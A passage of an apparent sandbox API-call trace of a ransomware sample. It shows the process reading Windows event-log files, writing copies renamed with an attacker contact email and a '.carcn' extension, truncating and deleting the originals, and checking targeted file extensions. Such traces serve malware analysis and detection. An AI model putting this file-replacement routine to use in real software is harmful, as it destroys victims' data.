-1 [0180.039] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0180.039] lstrlenW (lpString=".jpg") returned 4 [0180.039] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.039] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.039] lstrlenW (lpString="Microsoft-Windows-Known Folders API Service.evtx") returned 48 [0180.039] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0180.039] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0180.039] CloseHandle (hObject=0x36c) returned 1 [0180.039] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20 [0180.040] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.040] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0180.040] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.040] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.040] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0180.040] GetLastError () returned 0x0 [0180.040] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.066] WriteFile (in: hFile=0x380, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.068] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.068] WriteFile (in: hFile=0x380, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x134, lpOverlapped=0x0) returned 1 [0180.068] SetEndOfFile (hFile=0x380) returned 1 [0180.068] CloseHandle (hObject=0x380) returned 1 [0180.070] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.070] SetEndOfFile (hFile=0x36c) returned 1 [0180.071] CloseHandle (hObject=0x36c) returned 1 [0180.071] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.071] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 1 [0180.072] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0180.072] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0180.072] lstrlenW (lpString=".doc") returned 4 [0180.072] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.072] lstrlenW (lpString=".docx") returned 5 [0180.072] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.072] lstrlenW (lpString=".pdf") returned 4 [0180.072] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.072] lstrlenW (lpString=".xls") returned 4 [0180.072] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.072] lstrlenW (lpString=".xlsx") returned 5 [0180.072] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.072] lstrlenW (lpString=".ppt") returned 4 [0180.072] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.072] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0180.072] lstrlenW (lpString=".zip") returned 4 [0180.072] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.072] lstrlenW (lpString=".rar") returned 4 [0180.072] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.072] lstrlenW (lpString=".bz2") returned 4 [0180.072] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.072] lstrlenW (lpString=".7z") returned 3 [0180.072] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.072] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0180.072] lstrlenW (lpString=".dbf") returned 4 [0180.072] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.072] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0180.073] lstrlenW (lpString=".1cd") returned 4 [0180.073] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.073] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0180.073] lstrlenW (lpString=".jpg") returned 4 [0180.073] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.073] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0180.073] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0180.073] lstrlenW (lpString=".doc") returned 4 [0180.073] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.073] lstrlenW (lpString=".docx") returned 5 [0180.073] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.073] lstrlenW (lpString=".pdf") returned 4 [0180.073] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.073] lstrlenW (lpString=".xls") returned 4 [0180.073] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.073] lstrlenW (lpString=".xlsx") returned 5 [0180.073] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.073] lstrlenW (lpString=".ppt") returned 4 [0180.073] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.073] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0180.073] lstrlenW (lpString=".zip") returned 4 [0180.073] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.073] lstrlenW (lpString=".rar") returned 4 [0180.073] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.073] lstrlenW (lpString=".bz2") returned 4 [0180.073] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.073] lstrlenW (lpString=".7z") returned 3 [0180.073] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.073] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0180.073] lstrlenW (lpString=".dbf") returned 4 [0180.074] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.074] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0180.074] lstrlenW (lpString=".1cd") returned 4 [0180.074] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.074] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0180.074] lstrlenW (lpString=".jpg") returned 4 [0180.074] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.074] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.074] lstrlenW (lpString="Microsoft-Windows-MUI%4Admin.evtx") returned 33 [0180.074] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0180.074] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0180.074] CloseHandle (hObject=0x36c) returned 1 [0180.074] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20 [0180.074] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.074] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0180.075] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.075] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.075] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0180.075] GetLastError () returned 0x0 [0180.075] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.526] WriteFile (in: hFile=0x380, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.528] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.528] WriteFile (in: hFile=0x380, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x116, lpOverlapped=0x0) returned 1 [0180.528] SetEndOfFile (hFile=0x380) returned 1 [0180.528] CloseHandle (hObject=0x380) returned 1 [0180.530] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.531] SetEndOfFile (hFile=0x36c) returned 1 [0180.532] CloseHandle (hObject=0x36c) returned 1 [0180.532] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.532] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 1 [0180.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0180.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0180.533] lstrlenW (lpString=".doc") returned 4 [0180.533] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.533] lstrlenW (lpString=".docx") returned 5 [0180.533] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.533] lstrlenW (lpString=".pdf") returned 4 [0180.533] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.533] lstrlenW (lpString=".xls") returned 4 [0180.533] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.533] lstrlenW (lpString=".xlsx") returned 5 [0180.533] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.533] lstrlenW (lpString=".ppt") returned 4 [0180.533] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0180.533] lstrlenW (lpString=".zip") returned 4 [0180.533] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.533] lstrlenW (lpString=".rar") returned 4 [0180.533] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.533] lstrlenW (lpString=".bz2") returned 4 [0180.534] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.534] lstrlenW (lpString=".7z") returned 3 [0180.534] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0180.534] lstrlenW (lpString=".dbf") returned 4 [0180.534] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0180.534] lstrlenW (lpString=".1cd") returned 4 [0180.534] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0180.534] lstrlenW (lpString=".jpg") returned 4 [0180.534] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0180.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0180.534] lstrlenW (lpString=".doc") returned 4 [0180.534] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.534] lstrlenW (lpString=".docx") returned 5 [0180.534] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.535] lstrlenW (lpString=".pdf") returned 4 [0180.535] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.535] lstrlenW (lpString=".xls") returned 4 [0180.535] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.535] lstrlenW (lpString=".xlsx") returned 5 [0180.535] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.535] lstrlenW (lpString=".ppt") returned 4 [0180.535] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.535] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0180.535] lstrlenW (lpString=".zip") returned 4 [0180.535] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.535] lstrlenW (lpString=".rar") returned 4 [0180.535] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.535] lstrlenW (lpString=".bz2") returned 4 [0180.535] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.535] lstrlenW (lpString=".7z") returned 3 [0180.535] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.535] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0180.535] lstrlenW (lpString=".dbf") returned 4 [0180.535] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.535] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0180.535] lstrlenW (lpString=".1cd") returned 4 [0180.535] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.535] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0180.535] lstrlenW (lpString=".jpg") returned 4 [0180.536] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.648] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.648] lstrlenW (lpString="Microsoft-Windows-Ntfs%4WHC.evtx") returned 32 [0180.648] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0180.648] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0180.648] CloseHandle (hObject=0x374) returned 1 [0180.648] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20 [0180.648] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.648] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0180.648] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.648] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.648] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0180.648] GetLastError () returned 0x0 [0180.648] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.719] WriteFile (in: hFile=0x310, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.721] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.721] WriteFile (in: hFile=0x310, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x114, lpOverlapped=0x0) returned 1 [0180.722] SetEndOfFile (hFile=0x310) returned 1 [0180.722] CloseHandle (hObject=0x310) returned 1 [0180.724] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.724] SetEndOfFile (hFile=0x374) returned 1 [0180.725] CloseHandle (hObject=0x374) returned 1 [0180.725] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.726] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 1 [0180.726] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0180.726] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0180.726] lstrlenW (lpString=".doc") returned 4 [0180.726] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.726] lstrlenW (lpString=".docx") returned 5 [0180.726] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.726] lstrlenW (lpString=".pdf") returned 4 [0180.726] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.726] lstrlenW (lpString=".xls") returned 4 [0180.726] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.726] lstrlenW (lpString=".xlsx") returned 5 [0180.726] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.726] lstrlenW (lpString=".ppt") returned 4 [0180.726] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.726] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0180.726] lstrlenW (lpString=".zip") returned 4 [0180.726] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.726] lstrlenW (lpString=".rar") returned 4 [0180.726] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.726] lstrlenW (lpString=".bz2") returned 4 [0180.727] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.727] lstrlenW (lpString=".7z") returned 3 [0180.727] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.727] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0180.727] lstrlenW (lpString=".dbf") returned 4 [0180.727] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.727] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0180.727] lstrlenW (lpString=".1cd") returned 4 [0180.727] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.727] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0180.727] lstrlenW (lpString=".jpg") returned 4 [0180.727] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.727] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0180.727] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0180.727] lstrlenW (lpString=".doc") returned 4 [0180.727] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.727] lstrlenW (lpString=".docx") returned 5 [0180.727] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.727] lstrlenW (lpString=".pdf") returned 4 [0180.727] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.727] lstrlenW (lpString=".xls") returned 4 [0180.727] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.727] lstrlenW (lpString=".xlsx") returned 5 [0180.727] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.727] lstrlenW (lpString=".ppt") returned 4 [0180.727] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.727] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0180.728] lstrlenW (lpString=".zip") returned 4 [0180.728] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.728] lstrlenW (lpString=".rar") returned 4 [0180.728] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.728] lstrlenW (lpString=".bz2") returned 4 [0180.728] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.728] lstrlenW (lpString=".7z") returned 3 [0180.728] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.728] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0180.728] lstrlenW (lpString=".dbf") returned 4 [0180.728] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.728] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0180.728] lstrlenW (lpString=".1cd") returned 4 [0180.728] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.728] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0180.728] lstrlenW (lpString=".jpg") returned 4 [0180.728] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.728] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.728] lstrlenW (lpString="Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 46 [0180.728] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0180.729] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0180.729] CloseHandle (hObject=0x374) returned 1 [0180.729] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20 [0180.729] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.729] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0180.729] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.729] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.729] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 